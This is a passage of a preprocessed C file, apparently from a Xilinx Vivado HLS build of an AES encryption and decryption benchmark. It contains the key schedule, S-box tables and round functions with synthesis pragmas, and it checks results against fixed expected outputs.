__attribute__ ((__dllimport__)) size_t _fread_nolock(void * __restrict__ _DstBuf,size_t _ElementSize,size_t _Count,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) int _fseek_nolock(FILE *_File,long _Offset,int _Origin);
__attribute__ ((__dllimport__)) long _ftell_nolock(FILE *_File);
__extension__ __attribute__ ((__dllimport__)) int _fseeki64_nolock(FILE *_File,long long _Offset,int _Origin);
__extension__ __attribute__ ((__dllimport__)) long long _ftelli64_nolock(FILE *_File);
__attribute__ ((__dllimport__)) size_t _fwrite_nolock(const void * __restrict__ _DstBuf,size_t _Size,size_t _Count,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) int _ungetc_nolock(int _Ch,FILE *_File);
char * tempnam(const char *_Directory,const char *_FilePrefix) ;
int fcloseall(void) ;
FILE * fdopen(int _FileHandle,const char *_Format) ;
int fgetchar(void) ;
int fileno(FILE *_File) ;
int flushall(void) ;
int fputchar(int _Ch) ;
int getw(FILE *_File) ;
int putw(int _Ch,FILE *_File) ;
int rmtmp(void) ;
#pragma pack(pop)
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\sec_api/stdio_s.h" 1 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 1 3
# 9 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\sec_api/stdio_s.h" 2 3
# 509 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw_print_pop.h" 1 3
# 511 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
# 63 "aes/aes.c" 2
int main_result;
# 1 "aes/aes.h" 1
# 64 "aes/aes.h"
int type;
int nb;
int round_val;
int key[32];
int statemt[32];
int word[4][120];
int KeySchedule (int, int *);
int SubByte (int);
void ByteSub_ShiftRow (int *, int);
void InversShiftRow_ByteSub (int *, int);
int MixColumn_AddRoundKey (int *, int, int);
int AddRoundKey_InversMixColumn (int *, int, int);
int AddRoundKey (int *, int, int);
int encrypt (int *, int *, int);
int decrypt (int *, int *, int);
# 68 "aes/aes.c" 2
# 1 "aes/aes_enc.c" 1
# 63 "aes/aes_enc.c"
int
encrypt (int statemt[32], int key[32], int type)
{_ssdm_SpecArrayDimSize(statemt, 32);_ssdm_SpecArrayDimSize(key, 32);
#pragma HLS inline region
int i;
const int out_enc_statemt[16] =
{ 0x39, 0x25, 0x84, 0x1d, 0x2, 0xdc, 0x9, 0xfb, 0xdc, 0x11, 0x85, 0x97,
0x19, 0x6a, 0xb, 0x32
};
_ssdm_SpecConstant(out_enc_statemt);
# 75 "aes/aes_enc.c"
KeySchedule (type, key);
switch (type)
{
case 128128:
round_val = 0;
nb = 4;
break;
case 192128:
round_val = 2;
nb = 4;
break;
case 256128:
round_val = 4;
nb = 4;
break;
case 128192:
case 192192:
round_val = 2;
nb = 6;
break;
case 256192:
round_val = 4;
nb = 6;
break;
case 128256:
case 192256:
case 256256:
round_val = 4;
nb = 8;
break;
}
AddRoundKey (statemt, type, 0);
for (i = 1; i <= round_val + 9; ++i)
{
#pragma HLS loop_tripcount min=9 max=13
ByteSub_ShiftRow (statemt, nb);
MixColumn_AddRoundKey (statemt, nb, i);
}
ByteSub_ShiftRow (statemt, nb);
AddRoundKey (statemt, type, i);
printf ("encrypted message \t");
for (i = 0; i < nb * 4; ++i)
{
#pragma HLS loop_tripcount min=16 max=32
if (statemt[i] < 16)
printf ("0");
printf ("%x", statemt[i]);
}
for (i = 0; i < 16; i++)
main_result += (statemt[i] != out_enc_statemt[i]);
return 0;
}
# 69 "aes/aes.c" 2
# 1 "aes/aes_dec.c" 1
# 62 "aes/aes_dec.c"
int
decrypt (int statemt[32], int key[32], int type)
{_ssdm_SpecArrayDimSize(statemt, 32);_ssdm_SpecArrayDimSize(key, 32);
#pragma HLS inline region
int i;
const int out_dec_statemt[16] =
{ 0x32, 0x43, 0xf6, 0xa8, 0x88, 0x5a, 0x30, 0x8d, 0x31, 0x31, 0x98, 0xa2,
0xe0, 0x37, 0x7, 0x34
};
_ssdm_SpecConstant(out_dec_statemt);
# 74 "aes/aes_dec.c"
KeySchedule (type, key);
switch (type)
{
case 128128:
round_val = 10;
nb = 4;
break;
case 128192:
case 192192:
round_val = 12;
nb = 6;
break;
case 192128:
round_val = 12;
nb = 4;
break;
case 128256:
case 192256:
round_val = 14;
nb = 8;
break;
case 256128:
round_val = 14;
nb = 4;
break;
case 256192:
round_val = 14;
nb = 6;
break;
case 256256:
round_val = 14;
nb = 8;
break;
}
AddRoundKey (statemt, type, round_val);
InversShiftRow_ByteSub (statemt, nb);
for (i = round_val - 1; i >= 1; --i)
{
#pragma HLS loop_tripcount min=9 max=13
AddRoundKey_InversMixColumn (statemt, nb, i);
InversShiftRow_ByteSub (statemt, nb);
}
AddRoundKey (statemt, type, 0);
printf ("\ndecrypto message\t");
for (i = 0; i < ((type % 1000) / 8); ++i)
{
#pragma HLS loop_tripcount min=16 max=32
if (statemt[i] < 16)
printf ("0");
printf ("%x", statemt[i]);
}
for (i = 0; i < 16; i++)
main_result += (statemt[i] != out_dec_statemt[i]);
return 0;
}
# 70 "aes/aes.c" 2
# 1 "aes/aes_key.c" 1
# 64 "aes/aes_key.c"
const int Rcon0[30] = {
0x01, 0x02, 0x04, 0x08,
0x10, 0x20, 0x40, 0x80,
0x1b, 0x36, 0x6c, 0xd8,
0xab, 0x4d, 0x9a, 0x2f,
0x5e, 0xbc, 0x63, 0xc6,
0x97, 0x35, 0x6a, 0xd4,
0xb3, 0x7d, 0xfa, 0xef,
0xc5, 0x91,
};
int
KeySchedule (int type, int key[32])
{_ssdm_SpecArrayDimSize(key, 32);
#pragma HLS inline region
int nk, nb, round_val;
int i, j, temp[4];
switch (type)
{
case 128128:
nk = 4;
nb = 4;
round_val = 10;
break;
case 128192:
nk = 4;
nb = 6;
round_val = 12;
break;
case 128256:
nk = 4;
nb = 8;
round_val = 14;
break;
case 192128:
nk = 6;
nb = 4;
round_val = 12;
break;
case 192192:
nk = 6;
nb = 6;
round_val = 12;
break;
case 192256:
nk = 6;
nb = 8;
round_val = 14;
break;
case 256128:
nk = 8;
nb = 4;
round_val = 14;
break;
case 256192:
nk = 8;
nb = 6;
round_val = 14;
break;
case 256256:
nk = 8;
nb = 8;
round_val = 14;
break;
default:
return -1;
}
#pragma HLS array_partition variable=&word cyclic factor=2 dim=1
#pragma HLS array_partition variable=&temp cyclic factor=2
for (j = 0; j < nk; ++j){
#pragma HLS loop_tripcount min=4 max=8
for (i = 0; i < 4; ++i)
word[i][j] = key[i + j * 4];
}
for (j = nk; j < nb * (round_val + 1); ++j)
{
#pragma HLS loop_tripcount min=36 max=116
if ((j % nk) == 0)
{
temp[0] = SubByte (word[1][j - 1]) ^ Rcon0[(j / nk) - 1];
temp[1] = SubByte (word[2][j - 1]);
temp[2] = SubByte (word[3][j - 1]);
temp[3] = SubByte (word[0][j - 1]);
}
if ((j % nk) != 0)
{
temp[0] = word[0][j - 1];
temp[1] = word[1][j - 1];
temp[2] = word[2][j - 1];
temp[3] = word[3][j - 1];
}
if (nk > 6 && j % nk == 4)
for (i = 0; i < 4; ++i)
temp[i] = SubByte (temp[i]);
for (i = 0; i < 4; ++i)
word[i][j] = word[i][j - nk] ^ temp[i];
}
return 0;
}
# 71 "aes/aes.c" 2
# 1 "aes/aes_func.c" 1
# 62 "aes/aes_func.c"
const int Sbox[16][16] = {
{0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,
0xfe, 0xd7, 0xab, 0x76},
{0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf,
0x9c, 0xa4, 0x72, 0xc0},
{0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1,
0x71, 0xd8, 0x31, 0x15},
{0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
0xeb, 0x27, 0xb2, 0x75},
{0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3,
0x29, 0xe3, 0x2f, 0x84},
{0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39,
0x4a, 0x4c, 0x58, 0xcf},
{0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,
0x50, 0x3c, 0x9f, 0xa8},
{0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21,
0x10, 0xff, 0xf3, 0xd2},
{0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d,
0x64, 0x5d, 0x19, 0x73},
{0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,
0xde, 0x5e, 0x0b, 0xdb},
{0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62,
0x91, 0x95, 0xe4, 0x79},
{0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea,
0x65, 0x7a, 0xae, 0x08},
{0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,
0x4b, 0xbd, 0x8b, 0x8a},
{0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9,
0x86, 0xc1, 0x1d, 0x9e},
{0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9,
0xce, 0x55, 0x28, 0xdf},
{0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,
0xb0, 0x54, 0xbb, 0x16}
};
const int invSbox[16][16] = {
{0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,
0x81, 0xf3, 0xd7, 0xfb},
{0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44,
0xc4, 0xde, 0xe9, 0xcb},
{0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b,
0x42, 0xfa, 0xc3, 0x4e},
{0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
0x6d, 0x8b, 0xd1, 0x25},
{0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc,
0x5d, 0x65, 0xb6, 0x92},
{0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57,
0xa7, 0x8d, 0x9d, 0x84},
{0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,
0xb8, 0xb3, 0x45, 0x06},
{0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03,
0x01, 0x13, 0x8a, 0x6b},
{0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce,
0xf0, 0xb4, 0xe6, 0x73},
{0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,
0x1c, 0x75, 0xdf, 0x6e},
{0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e,
0xaa, 0x18, 0xbe, 0x1b},
{0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe,
0x78, 0xcd, 0x5a, 0xf4},
{0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,
0x27, 0x80, 0xec, 0x5f},
{0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f,
0x93, 0xc9, 0x9c, 0xef},
{0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c,
0x83, 0x53, 0x99, 0x61},
{0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,
0x55, 0x21, 0x0c, 0x7d}
};
void
ByteSub_ShiftRow (int statemt[32], int nb)
{_ssdm_SpecArrayDimSize(statemt, 32);
int temp;
switch (nb)
{
case 4:
temp = Sbox[statemt[1] >> 4][statemt[1] & 0xf];
statemt[1] = Sbox[statemt[5] >> 4][statemt[5] & 0xf];
statemt[5] = Sbox[statemt[9] >> 4][statemt[9] & 0xf];
statemt[9] = Sbox[statemt[13] >> 4][statemt[13] & 0xf];
statemt[13] = temp;
temp = Sbox[statemt[2] >> 4][statemt[2] & 0xf];
statemt[2] = Sbox[statemt[10] >> 4][statemt[10] & 0xf];
statemt[10] = temp;
temp = Sbox[statemt[6] >> 4][statemt[6] & 0xf];
statemt[6] = Sbox[statemt[14] >> 4][statemt[14] & 0xf];
statemt[14] = temp;
temp = Sbox[statemt[3] >> 4][statemt[3] & 0xf];
statemt[3] = Sbox[statemt[15] >> 4][statemt[15] & 0xf];
statemt[15] = Sbox[statemt[11] >> 4][statemt[11] & 0xf];
statemt[11] = Sbox[statemt[7] >> 4][statemt[7] & 0xf];
statemt[7] = temp;
statemt[0] = Sbox[statemt[0] >> 4][statemt[0] & 0xf];
statemt[4] = Sbox[statemt[4] >> 4][statemt[4] & 0xf];
statemt[8] = Sbox[statemt[8] >> 4][statemt[8] & 0xf];
statemt[12] = Sbox[statemt[12] >> 4][statemt[12] & 0xf];
break;
case 6:
temp = Sbox[statemt[1] >> 4][statemt[1] & 0xf];
statemt[1] = Sbox[statemt[5] >> 4][statemt[5] & 0xf];
statemt[5] = Sbox[statemt[9] >> 4][statemt[9] & 0xf];
statemt[9] = Sbox[statemt[13] >> 4][statemt[13] & 0xf];
statemt[13] = Sbox[statemt[17] >> 4][statemt[17] & 0xf];
statemt[17] = Sbox[statemt[21] >> 4][statemt[21] & 0xf];
statemt[21] = temp;
temp = Sbox[statemt[2] >> 4][statemt[2] & 0xf];
statemt[2] = Sbox[statemt[10] >> 4][statemt[10] & 0xf];
statemt[10] = Sbox[statemt[18] >> 4][statemt[18] & 0xf];
statemt[18] = temp;
temp = Sbox[statemt[6] >> 4][statemt[6] & 0xf];
statemt[6] = Sbox[statemt[14] >> 4][statemt[14] & 0xf];
statemt[14] = Sbox[statemt[22] >> 4][statemt[22] & 0xf];
statemt[22] = temp;
temp = Sbox[statemt[3] >> 4][statemt[3] & 0xf];
statemt[3] = Sbox[statemt[15] >> 4][statemt[15] & 0xf];
statemt[15] = temp;
temp = Sbox[statemt[7] >> 4][statemt[7] & 0xf];
statemt[7] = Sbox[statemt[19] >> 4][statemt[19] & 0xf];
statemt[19] = temp;
temp = Sbox[statemt[11] >> 4][statemt[11] & 0xf];
statemt[11] = Sbox[statemt[23] >> 4][statemt[23] & 0xf];
statemt[23] = temp;
statemt[0] = Sbox[statemt[0] >> 4][statemt[0] & 0xf];
statemt[4] = Sbox[statemt[4] >> 4][statemt[4] & 0xf];
statemt[8] = Sbox[statemt[8] >> 4][statemt[8] & 0xf];
statemt[12] = Sbox[statemt[12] >> 4][statemt[12] & 0xf];
statemt[16] = Sbox[statemt[16] >> 4][statemt[16] & 0xf];
statemt[20] = Sbox[statemt[20] >> 4][statemt[20] & 0xf];
break;
case 8:
temp = Sbox[statemt[1] >> 4][statemt[1] & 0xf];
statemt[1] = Sbox[statemt[5] >> 4][statemt[5] & 0xf];
statemt[5] = Sbox[statemt[9] >> 4][statemt[9] & 0xf];
statemt[9] = Sbox[statemt[13] >> 4][statemt[13] & 0xf];
statemt[13] = Sbox[statemt[17] >> 4][statemt[17] & 0xf];
statemt[17] = Sbox[statemt[21] >> 4][statemt[21] & 0xf];
statemt[21] = Sbox[statemt[25] >> 4][statemt[25] & 0xf];
statemt[25] = Sbox[statemt[29] >> 4][statemt[29] & 0xf];
statemt[29] = temp;
temp = Sbox[statemt[2] >> 4][statemt[2] & 0xf];
statemt[2] = Sbox[statemt[14] >> 4][statemt[14] & 0xf];
statemt[14] = Sbox[statemt[26] >> 4][statemt[26] & 0xf];
statemt[26] = Sbox[statemt[6] >> 4][statemt[6] & 0xf];
statemt[6] = Sbox[statemt[18] >> 4][statemt[18] & 0xf];
statemt[18] = Sbox[statemt[30] >> 4][statemt[30] & 0xf];
statemt[30] = Sbox[statemt[10] >> 4][statemt[10] & 0xf];
statemt[10] = Sbox[statemt[22] >> 4][statemt[22] & 0xf];
statemt[22] = temp;
temp = Sbox[statemt[3] >> 4][statemt[3] & 0xf];
statemt[3] = Sbox[statemt[19] >> 4][statemt[19] & 0xf];
statemt[19] = temp;
temp = Sbox[statemt[7] >> 4][statemt[7] & 0xf];
statemt[7] = Sbox[statemt[23] >> 4][statemt[23] & 0xf];
statemt[23] = temp;
temp = Sbox[statemt[11] >> 4][statemt[11] & 0xf];
statemt[11] = Sbox[statemt[27] >> 4][statemt[27] & 0xf];
statemt[27] = temp;
temp = Sbox[statemt[15] >> 4][statemt[15] & 0xf];
statemt[15] = Sbox[statemt[31] >> 4][statemt[31] & 0xf];
statemt[31] = temp;
statemt[0] = Sbox[statemt[0] >> 4][statemt[0] & 0xf];
statemt[4] = Sbox[statemt[4] >> 4][statemt[4] & 0xf];
statemt[8] = Sbox[statemt[8] >> 4][statemt[8] & 0xf];
statemt[12] = Sbox[statemt[12] >> 4][statemt[12] & 0xf];
statemt[16] = Sbox[statemt[16] >> 4][statemt[16] & 0xf];
statemt[20] = Sbox[statemt[20] >> 4][statemt[20] & 0xf];
statemt[24] = Sbox[statemt[24] >> 4][statemt[24] & 0xf];
statemt[28] = Sbox[statemt[28] >> 4][statemt[28] & 0xf];
break;
}
}
int
SubByte (int in)
{
return Sbox[(in / 16)][(in % 16)];
}
void
InversShiftRow_ByteSub (int statemt[32], int nb)
{_ssdm_SpecArrayDimSize(statemt, 32);
#pragma HLS inline region recursive
int temp;
switch (nb)
{
case 4:
temp = invSbox[statemt[13] >> 4][statemt[13] & 0xf];
statemt[13] = invSbox[statemt[9] >> 4][statemt[9] & 0xf];
statemt[9] = invSbox[statemt[5] >> 4][statemt[5] & 0xf];
statemt[5] = invSbox[statemt[1] >> 4][statemt[1] & 0xf];
statemt[1] = temp;
temp = invSbox[statemt[14] >> 4][statemt[14] & 0xf];
statemt[14] = invSbox[statemt[6] >> 4][statemt[6] & 0xf];
statemt[6] = temp;
temp = invSbox[statemt[2] >> 4][statemt[2] & 0xf];
statemt[2] = invSbox[statemt[10] >> 4][statemt[10] & 0xf];
statemt[10] = temp;
temp = invSbox[statemt[15] >> 4][statemt[15] & 0xf];
statemt[15] = invSbox[statemt[3] >> 4][statemt[3] & 0xf];
statemt[3] = invSbox[statemt[7] >> 4][statemt[7] & 0xf];
statemt[7] = invSbox[statemt[11] >> 4][statemt[11] & 0xf];
statemt[11] = temp;
statemt[0] = invSbox[statemt[0] >> 4][statemt[0] & 0xf];
statemt[4] = invSbox[statemt[4] >> 4][statemt[4] & 0xf];
statemt[8] = invSbox[statemt[8] >> 4][statemt[8] & 0xf];
statemt[12] = invSbox[statemt[12] >> 4][statemt[12] & 0xf];
break;
case 6:
temp = invSbox[statemt[21] >> 4][statemt[21] & 0xf];
statemt[21] = invSbox[statemt[17] >> 4][statemt[17] & 0xf];
statemt[17] = invSbox[statemt[13] >> 4][statemt[13] & 0xf];
statemt[13] = invSbox[statemt[9] >> 4][statemt[9] & 0xf];
statemt[9] = invSbox[statemt[5] >> 4][statemt[5] & 0xf];
statemt[5] = invSbox[statemt[1] >> 4][statemt[1] & 0xf];
statemt[1] = temp;
temp = invSbox[statemt[22] >> 4][statemt[22] & 0xf];
statemt[22] = invSbox[statemt[14] >> 4][statemt[14] & 0xf];
statemt[14] = invSbox[statemt[6] >> 4][statemt[6] & 0xf];
statemt[6] = temp;
temp = invSbox[statemt[18] >> 4][statemt[18] & 0xf];
statemt[18] = invSbox[statemt[10] >> 4][statemt[10] & 0xf];
statemt[10] = invSbox[statemt[2] >> 4][statemt[2] & 0xf];
statemt[2] = temp;
temp = invSbox[statemt[15] >> 4][statemt[15] & 0xf];
statemt[15] = invSbox[statemt[3] >> 4][statemt[3] & 0xf];
statemt[3] = temp;
temp = invSbox[statemt[19] >> 4][statemt[19] & 0xf];
statemt[19] = invSbox[statemt[7] >> 4][statemt[7] & 0xf];
statemt[7] = temp;
temp = invSbox[statemt[23] >> 4][statemt[23] & 0xf];
statemt[23] = invSbox[statemt[11] >> 4][statemt[11] & 0xf];
statemt[11] = temp;
statemt[0] = invSbox[statemt[0] >> 4][statemt[0] & 0xf];
statemt[4] = invSbox[statemt[4] >> 4][statemt[4] & 0xf];
statemt[8] = invSbox[statemt[8] >> 4][statemt[8] & 0xf];
statemt[12] = invSbox[statemt[12] >> 4][statemt[12] & 0xf];
statemt[16] = invSbox[statemt[16] >> 4][statemt[16] & 0xf];
statemt[20] = invSbox[statemt[20] >> 4][statemt[20] & 0xf];
break;
case 8:
temp = invSbox[statemt[29] >> 4][statemt[29] & 0xf];
statemt[29] = invSbox[statemt[25] >> 4][statemt[25] & 0xf];
statemt[25] = invSbox[statemt[21] >> 4][statemt[21] & 0xf];
statemt[21] = invSbox[statemt[17] >> 4][statemt[17] & 0xf];
statemt[17] = invSbox[statemt[13] >> 4][statemt[13] & 0xf];
statemt[13] = invSbox[statemt[9] >> 4][statemt[9] & 0xf];
statemt[9] = invSbox[statemt[5] >> 4][statemt[5] & 0xf];
statemt[5] = invSbox[statemt[1] >> 4][statemt[1] & 0xf];
statemt[1] = temp;
temp = invSbox[statemt[30] >> 4][statemt[30] & 0xf];
statemt[30] = invSbox[statemt[18] >> 4][statemt[18] & 0xf];
statemt[18] = invSbox[statemt[6] >> 4][statemt[6] & 0xf];
statemt[6] = invSbox[statemt[26] >> 4][statemt[26] & 0xf];
statemt[26] = invSbox[statemt[14] >> 4][statemt[14] & 0xf];
statemt[14] = invSbox[statemt[2] >> 4][statemt[2] & 0xf];
statemt[2] = invSbox[statemt[22] >> 4][statemt[22] & 0xf];
statemt[22] = invSbox[statemt[10] >> 4][statemt[10] & 0xf];
statemt[10] = temp;
temp = invSbox[statemt[31] >> 4][statemt[31] & 0xf];
statemt[31] = invSbox[statemt[15] >> 4][statemt[15] & 0xf];
statemt[15] = temp;
temp = invSbox[statemt[27] >> 4][statemt[27] & 0xf];
statemt[27] = invSbox[statemt[11] >> 4][statemt[11] & 0xf];
statemt[11] = temp;
temp = invSbox[statemt[23] >> 4][statemt[23] & 0xf];
statemt[23] = invSbox[statemt[7] >> 4][statemt[7] & 0xf];
statemt[7] = temp;
temp = invSbox[statemt[19] >> 4][statemt[19] & 0xf];
statemt[19] = invSbox[statemt[3] >> 4][statemt[3] & 0xf];
statemt[3] = temp;
statemt[0] = invSbox[statemt[0] >> 4][statemt[0] & 0xf];
statemt[4] = invSbox[statemt[4] >> 4][statemt[4] & 0xf];
statemt[8] = invSbox[statemt[8] >> 4][statemt[8] & 0xf];
statemt[12] = invSbox[statemt[12] >> 4][statemt[12] & 0xf];
statemt[16] = invSbox[statemt[16] >> 4][statemt[16] & 0xf];
statemt[20] = invSbox[statemt[20] >> 4][statemt[20] & 0xf];
statemt[24] = invSbox[statemt[24] >> 4][statemt[24] & 0xf];
statemt[28] = invSbox[statemt[28] >> 4][statemt[28] & 0xf];
break;
}
}
int
MixColumn_AddRoundKey (int statemt[32], int nb, int n)
{_ssdm_SpecArrayDimSize(statemt, 32);
#pragma HLS inline region recursive
int ret[8 * 4], j;
register int x;
#pragma HLS array_partition variable=&ret cyclic factor=2
for (j = 0; j < nb; ++j)
{
#pragma HLS loop_tripcount min=4 max=8
ret[j * 4] = (statemt[j * 4] << 1);
if ((ret[j * 4] >> 8) == 1)
ret[j * 4] ^= 283;
x = statemt[1 + j * 4];
x ^= (x << 1);
if ((x >> 8) == 1)
ret[j * 4] ^= (x ^ 283);
else
ret[j * 4] ^= x;
ret[j * 4] ^=
statemt[2 + j * 4] ^ statemt[3 + j * 4] ^ word[0][j + nb * n];
ret[1 + j * 4] = (statemt[1 + j * 4] << 1);
if ((ret[1 + j * 4] >> 8) == 1)
ret[1 + j * 4] ^= 283;
x = statemt[2 + j * 4];
x ^= (x << 1);
if ((x >> 8) == 1)
ret[1 + j * 4] ^= (x ^ 283);
else
ret[1 + j * 4] ^= x;
ret[1 + j * 4] ^=
statemt[3 + j * 4] ^ statemt[j * 4] ^ word[1][j + nb * n];
ret[2 + j * 4] = (statemt[2 + j * 4] << 1);
if ((ret[2 + j * 4] >> 8) == 1)
ret[2 + j * 4] ^= 283;
x = statemt[3 + j * 4];
x ^= (x << 1);
if ((x >> 8) == 1)
ret[2 + j * 4] ^= (x ^ 283);
else
ret[2 + j * 4] ^= x;
ret[2 + j * 4] ^=
statemt[j * 4] ^ statemt[1 + j * 4] ^ word[2][j + nb * n];
ret[3 + j * 4] = (statemt[3 + j * 4] << 1);
if ((ret[3 + j * 4] >> 8) == 1)
ret[3 + j * 4] ^= 283;
x = statemt[j * 4];
x ^= (x << 1);
if ((x >> 8) == 1)
ret[3 + j * 4] ^= (x ^ 283);
else
ret[3 + j * 4] ^= x;
ret[3 + j * 4] ^=
statemt[1 + j * 4] ^ statemt[2 + j * 4] ^ word[3][j + nb * n];
}
for (j = 0; j < nb; ++j)
{
#pragma HLS loop_tripcount min=4 max=8
statemt[j * 4] = ret[j * 4];
statemt[1 + j * 4] = ret[1 + j * 4];
statemt[2 + j * 4] = ret[2 + j * 4];
statemt[3 + j * 4] = ret[3 + j * 4];
}
return 0;
}
int
AddRoundKey_InversMixColumn (int statemt[32], int nb, int n)
{_ssdm_SpecArrayDimSize(statemt, 32);
#pragma HLS inline region recursive
int ret[8 * 4], i, j;
register int x;
for (j = 0; j < nb; ++j)
{
#pragma HLS loop_tripcount min=4 max=8
statemt[j * 4] ^= word[0][j + nb * n];
statemt[1 + j * 4] ^= word[1][j + nb * n];
statemt[2 + j * 4] ^= word[2][j + nb * n];
statemt[3 + j * 4] ^= word[3][j + nb * n];
}
for (j = 0; j < nb; ++j){
#pragma HLS loop_tripcount min=4 max=8
for (i = 0; i < 4; ++i)
{
x = (statemt[i + j * 4] << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[i + j * 4];
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[i + j * 4];
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
ret[i + j * 4] = x;
x = (statemt[(i + 1) % 4 + j * 4] << 1);
if ((x >> 8) == 1)
x ^= 283;
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[(i + 1) % 4 + j * 4];
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[(i + 1) % 4 + j * 4];
ret[i + j * 4] ^= x;
x = (statemt[(i + 2) % 4 + j * 4] << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[(i + 2) % 4 + j * 4];
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[(i + 2) % 4 + j * 4];
ret[i + j * 4] ^= x;
x = (statemt[(i + 3) % 4 + j * 4] << 1);
if ((x >> 8) == 1)
x ^= 283;
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x = (x << 1);
if ((x >> 8) == 1)
x ^= 283;
x ^= statemt[(i + 3) % 4 + j * 4];
ret[i + j * 4] ^= x;
}
}
for (i = 0; i < nb; ++i)
{
#pragma HLS loop_tripcount min=4 max=8
statemt[i * 4] = ret[i * 4];
statemt[1 + i * 4] = ret[1 + i * 4];
statemt[2 + i * 4] = ret[2 + i * 4];
statemt[3 + i * 4] = ret[3 + i * 4];
}
return 0;
}
int
AddRoundKey (int statemt[32], int type, int n)
{_ssdm_SpecArrayDimSize(statemt, 32);
#pragma HLS inline region recursive
int j, nb;
switch (type)
{
case 128128:
case 192128:
case 256128:
nb = 4;
break;
case 128192:
case 192192:
case 256192:
nb = 6;
break;
case 128256:
case 192256:
case 256256:
nb = 8;
break;
}
for (j = 0; j < nb; ++j)
{
#pragma HLS loop_tripcount min=4 max=8
statemt[j * 4] ^= word[0][j + nb * n];
statemt[1 + j * 4] ^= word[1][j + nb * n];
